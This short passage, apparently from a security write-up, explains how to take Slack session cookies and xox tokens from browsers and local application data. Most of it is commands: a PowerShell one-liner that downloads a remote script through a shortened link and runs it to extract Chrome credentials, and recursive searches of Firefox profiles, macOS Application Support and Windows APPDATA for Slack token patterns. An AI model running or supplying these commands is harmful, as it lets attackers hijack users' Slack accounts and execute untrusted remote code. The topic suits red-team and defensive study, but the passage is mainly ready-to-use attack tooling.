You can download a demo video here showing how to manually extract the dCookie value from Chrome via the Chrome Settings menu. Other browsers provide functionality for viewing the cookies as well, but you'll have to google that one on your own.

powershell -ex b -c "IEX((new-object net.webclient).downloadstring('https://bit.ly/2OMBArT'));Get-ChromeCreds -SlackExtract"

(dir -Recurse $env:APPDATA\Mozilla\Firefox\Profiles\ | select-string -ErrorAction Ignore -Pattern "(?<=slack.comd)(.*)(?=.slack.com)").matches.value

grep --colour -Eoair "xox[a-z]-[0-9a-f-]+" ~/Library/Application\ Support 2> /dev/null

(dir -Recurse $env:APPDATA\ | select-string -ErrorAction Ignore -Pattern "xox[a-z]-[0-9a-f-]+" ).matches.value